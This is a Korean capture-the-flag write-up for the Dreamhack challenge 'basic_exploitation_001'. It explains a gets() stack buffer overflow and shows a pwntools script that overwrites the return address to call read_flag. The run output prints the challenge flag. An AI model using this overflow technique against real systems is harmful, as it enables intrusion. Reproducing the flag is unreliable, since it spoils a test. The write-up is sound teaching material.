basic_exploitation_001
1. Prob
이 문제는 서버에서 작동하고 있는 서비스(basic_exploitation_001)의 바이너리와 소스 코드가 주어집니다.
프로그램의 취약점을 찾고 익스플로잇해 "flag" 파일을 읽으세요.
"flag" 파일의 내용을 워게임 사이트에 인증하면 점수를 획득할 수 있습니다.
플래그의 형식은 DH{...} 입니다.
Ubuntu 16.04 Arch: i386-32-little RELRO: No RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) |
2. Analysis
해당 문제 역시 소스코드를 제공하기 때문에 디컴파일러를 쓸 필요가 없다. 문제에서 Return Address Overwrite에 대한 가이딩을 제공하고 있기 때문에 어렵지 않게 접근할 수 있다. 제공되는 소스코드는 하기와 같다.
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void read_flag() {
system("cat /flag");
}
int main(int argc, char *argv[]) {
char buf[0x80];
initialize();
gets(buf);
return 0;
}
당연한 이야기지만 gets 함수를 사용하여 사용자 입력을 때문에 Buffer Overflow 취약점이 발생한다. read_flag 함수에서 system 함수를 통해 'cat /flag' 를 실행시키는 것으로 보아, 해당 함수가 실행되면 flag가 출력될 것으로 보인다. 그러나 main 함수에서 read_flag 를 호출하지 않기 때문에 gets 에서 발생하는 Buffer Overflow 취약점을 사용하여 함수 종료 후 반환 주소를 read_flag 함수의 주소로 변조하면 플래그를 획득할 수 있을 것으로 보인다.
32bit 아키텍처 이기 때문에 EIP가 어느 영역에서 변조되는지 동적분석을 통해 확인해야 한다. NX를 제외한 다른 보호기법이 적용되어 있지 않고, 운영체제의 버전이 낮기 때문에 Dummy도 없을 것으로 생각되지만 그래도 검증은 해보자. 예상이 맞다면, 버퍼의 크기가 128 (0x80)byte 이므로 그 뒤에 순서대로 SFP, EIP가 위치해 있을 것으로 생각 된다. (다른 변수가 없기 때문에 Stack에 할당된 공간은 128byte 크기의 buf 배열이 유일하기 때문) 따라서 136 byte를 덮음으로서 EIP가 변조될 것이라 생각하였다.
이제 저 CCCC 대신 read_flag 함수의 주소를 넣어주면, EIP가 read_flag 함수의 주소로 변조되어, 해당 함수가 실행될 것으로 보인다. read_flag 함수의 주소는 pwntools의 ELF 함수에 정의된 symbols 라는 기능을 사용하여 가져올 것이다.
3. Payload
위에서 많이 설명하였기 때문에 자세한 설명은 생략한다.
from pwn import*
p = remote('host3.dreamhack.games', 17330)
elf = ELF("./basic_exploitation_001")
read_flag = p32(elf.symbols['read_flag'])
payload = b'A'*132
payload += read_flag
p.sendline(payload)
p.interactive()
gssong@cybersecurity:~/Desktop$ python b_ex_001.py
[+] Opening connection to host3.dreamhack.games on port 17330: Done
[*] '/home/gssong/Desktop/basic_exploitation_001'
Arch: i386-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
[*] Switching to interactive mode
DH{01ec06f5e1466e44f86a79444a7cd116}[*] Got EOF while reading in interactive